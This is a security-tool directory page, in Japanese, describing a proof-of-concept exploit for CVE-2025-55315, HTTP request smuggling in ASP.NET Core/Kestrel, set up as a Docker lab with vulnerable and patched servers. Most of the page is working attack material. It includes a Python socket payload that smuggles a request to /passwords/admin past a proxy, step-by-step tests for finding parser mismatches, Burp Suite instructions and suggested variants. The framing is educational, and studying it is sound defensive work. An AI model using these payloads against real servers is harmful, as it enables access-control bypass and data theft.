Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55315 — CVE-2025-55315(.NET HTTPリクエストスマグリング)の概念実証エクスプロイト。不当に解析されたチャンクエンコーディングにより、攻撃者が脆弱なASP.NET Core/Kestrelサーバーでプロキシやロードバランサーを経由してリクエストをスマグリングする方法を示します。 | Kitploit
ツール/GitHubGitHub/martinfabianionut/cve-2025-55315
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

CVE-2025-55315(.NET HTTPリクエストスマグリング)の概念実証エクスプロイト。不当に解析されたチャンクエンコーディングにより、攻撃者が脆弱なASP.NET Core/Kestrelサーバーでプロキシやロードバランサーを経由してリクエストをスマグリングする方法を示します。

リポジトリを見る
18ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55315

CVE-2025-55315 の概念実証エクスプロイト (.NET HTTP リクエストスマグリング)。不適切に解析されたチャンクエンコーディングにより、攻撃者が脆弱な ASP.NET Core/Kestrel サーバー上のプロキシやロードバランサーを通過してリクエストを密輸する方法を示します。

📊 プレゼンテーション

インタラクティブな Prezi プレゼンテーションを見る

Prezi Presentation

🎥 上のバッジをクリックして、Prezi での完全なインタラクティブプレゼンテーションを表示

プロジェクト構成

  • Api - 統合された ASP.NET Core API。2 つの Dockerfile を含む:
    • Dockerfile.vulnerable - .NET 10.0.100-rc.1 を使用 (CVE-2025-55315 に対して脆弱)
    • Dockerfile.patched - .NET 10.0.100 を使用 (パッチ適用版)
  • PythonProxy - CVE-2025-55315 エクスプロイトデモ用の脆弱なプロキシ (Transfer-Encoding より Content-Length を優先)
  • YarpProxy - ロードバランシングテスト用の YARP リバースプロキシ (エクスプロイトの一部ではありません)

注: 脆弱性はアプリケーションコードではなく、.NET ランタイムの HTTP パーサー (Kestrel) にあります。両バージョンは同一のソースコードを使用していますが、.NET ランタイムバージョンが異なります。

クイックスタート

root@kitploit:~
# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

詳細な Docker 使用手順については DOCKER.md を参照してください。

エクスプロイトのデモンストレーション

Python プロキシは、Transfer-Encoding よりも Content-Length を優先することで CVE-2025-55315 を実証し、HTTP リクエストスマグリングを可能にします:

root@kitploit:~
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

このペイロードは、プロキシとバックエンドサーバーがリクエストを解析する方法の不一致を利用して、プロキシのセキュリティチェックを通過して /passwords/admin への 2 番目のリクエストを密輸します。

リクエスト解釈の視覚的表現

以下は、プロキシとバックエンドサーバーが同じペイロードを異なる方法で解釈する様子を示しています:

主な違い:

詳細な説明:

  • プロキシ: 2;\n を有効なチャンクサイズ宣言 (2 バイト) として受け入れる → xx を 2 バイトのチャンク本体として読み取る → 次のチャンク (39) に進む
  • バックエンド: \n を行末として拒否する → チャンクサイズは 2 のままだが、ヘッダーは 2;\nxx\r\n まで拡張される → 39 がチャンク本体の一部として読み取られる → 0\r\n でチャンクが終了する
  • 結果: 密輸された GET /passwords/admin リクエストは、バックエンドがチャンクデータとして扱うものに隠されるが、チャンク処理完了後に別のリクエストとして解析される

密輸された GET /passwords/admin リクエストは、プロキシがチャンク本体データと見なすものに隠されていますが、バックエンドはそれを別の HTTP リクエストとして解析します。

脆弱性の特定

エクスプロイトを行う前に、異なるコンポーネントがどの HTTP ヘッダー (Content-Length または Transfer-Encoding) を優先するかを特定する必要があります。以下にステップバイステップのガイドを示します:

ステップ 1: ヘッダーの優先順位をテスト

両方の Content-Length および Transfer-Encoding: chunked ヘッダーを含むリクエストを送信して、各コンポーネントがどちらを尊重するかを確認します:

root@kitploit:~
POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

分析:

  • サーバーが "Fa" (2 バイト) を処理する場合 → Content-Length を優先
  • サーバーが "Fabian" (完全なチャンク本体) を処理する場合 → Transfer-Encoding を優先

ステップ 2: 各コンポーネントをテスト

アーキテクチャ内のすべてのコンポーネントをテストして、不一致を見つけます:

安全でない API のテスト (ポート 5001)

root@kitploit:~
# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

安全な API のテスト (ポート 5002)

root@kitploit:~
# Change port to 5002 and test
# Safe API should handle the conflict properly

Python プロキシのテスト (ポート 5027)

root@kitploit:~
# Change port to 5027
# Python proxy favors Content-Length (vulnerable)

YARP プロキシのテスト (ポート 5028)

root@kitploit:~
# Change port to 5028
# Test how YARP handles the header conflict

ステップ 3: Burp Suite を使用した手動テスト

  1. リクエストをインターセプト: /passwords への通常の POST リクエストをキャプチャする
  2. ヘッダーを変更: 両方のヘッダーを手動で追加:
root@kitploit:~
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
  1. ボディを設定: チャンクエンコーディング形式を使用:
root@kitploit:~
6\r\n
Fabian\r\n
0\r\n
\r\n   
  1. レスポンスを比較: 異なるエンドポイントに送信し、各々がどのボディ部分を処理するかを分析
  2. 不一致を特定: プロキシが 2 バイトを読み取るがバックエンドが完全なチャンクを読み取る場合、デシンク脆弱性がある

ステップ 4: エクスプロイトを作成

特定できたら:

  • プロキシ: Content-Length を優先 (N バイトのみ読み取り)
  • バックエンド: Transfer-Encoding を優先 (チャンク本体を読み取り)

プロキシが見ずにバックエンドが処理する 2 番目のリクエストを密輸できます。

ステップ 5: エクスプロイトを検証

完全なエクスプロイトペイロードを実行し (上記の「エクスプロイトのデモンストレーション」セクションを参照)、以下を確認:

  • 最初のレスポンス: 通常の POST 結果
  • 2 番目のレスポンス: 管理エンドポイントのデータ (スマグリングリクエスト成功)

推奨ツール

  • Burp Suite: 手動リクエスト作成とヘッダー操作
  • Python socket: 精密な HTTP フォーマットのための低レベル制御
  • curl と --data-binary: 迅速なコマンドラインテスト
  • Wireshark: 各コンポーネントが受信する内容を正確に確認するためのパケットレベル分析

代替エクスプロイトのバリエーション

エクスプロイトは複数の方法で作成できます。さまざまなアプローチを試してみてください:

明示的な Content-Length を使用

root@kitploit:~
# Add Content-Length to make the desync explicit
payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Content-Length: 75\r\n"
    "Transfer-Encoding: chunked\r\n"
    # ... rest of payload
)

Content-Length なしで動作する理由

  • プロキシ: \n を有効な行末として受け入れる → 2;\n をチャンクサイズとして扱う → 2 バイト (xx) 読み取り
  • バックエンド: \n を拒否 → チャンクヘッダーが 2;\nxx\r\n まで拡張 → 39 がチャンク本体になる → 0\r\n でチャンク終了
  • 結果: 密輸されたリクエストがチャンク本体に隠れ、バックエンドによって別のリクエストとして解析される

実験のアイデア

PythonProxy/proxy_server.py を変更して、異なるデシンクシナリオを試してください:

  • CL.TE: プロキシは Content-Length、バックエンドは Transfer-Encoding を使用
  • TE.CL: プロキシは Transfer-Encoding、バックエンドは Content-Length を使用 (独自の API を作成してみてください)
  • TE.TE: 両方とも Transfer-Encoding を使用するが、解析方法が異なる (\n vs \r\n など)

以下を試す:

  • 異なるチャンクサイズと形式
  • 連続した複数のスマグリングリクエスト
  • さまざまな HTTP メソッド (GET, POST, PUT, DELETE) - API に追加可能
  • 空白および特殊文字
ツールをダウンロード

プロキシ解釈 (\n を有効な行末として受け入れる):

root@kitploit:~
flowchart TD
    subgraph Proxy_Request_1 ["🔴 Request 1 - Proxy View"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>chunk header (accepts \n)</i>"]
        PCB1["<b>xx</b><br/><i>chunk body - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>chunk header</i>"]
        PCB2["<i>chunk body - 57 bytes</i><br/>(contains smuggled request)"]
        PLK["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignored by Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy thinks this is part of chunk body)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

バックエンド解釈 (\n を拒否し、\r\n が必要):

root@kitploit:~
flowchart TD
    subgraph Backend_Request_1 ["🟢 Request 1 - Backend View"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (invalid - part of headers)<br/><b>xx</b> (headers end here)"]
        BCB1["<b>39</b><br/><i>chunk body</i>"]
        BLK1["<b>0</b><br/><i>last chunk</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Request 2 - Backend View"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>last chunk</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px
コンポーネントチャンクサイズ 2;\n読み取りバイト数動作
プロキシ✅ 有効なチャンクサイズ2 バイト (xx)2;\n を完全なチャンクヘッダーとして扱い、2 バイト読み取り、次のチャンクに進む
バックエンド❌ 無効な行末依然として 2 バイトチャンクとして読み取るチャンクヘッダーは xx\r\n まで終了しないため、39 がチャンク本体になり、0 でチャンクが終了する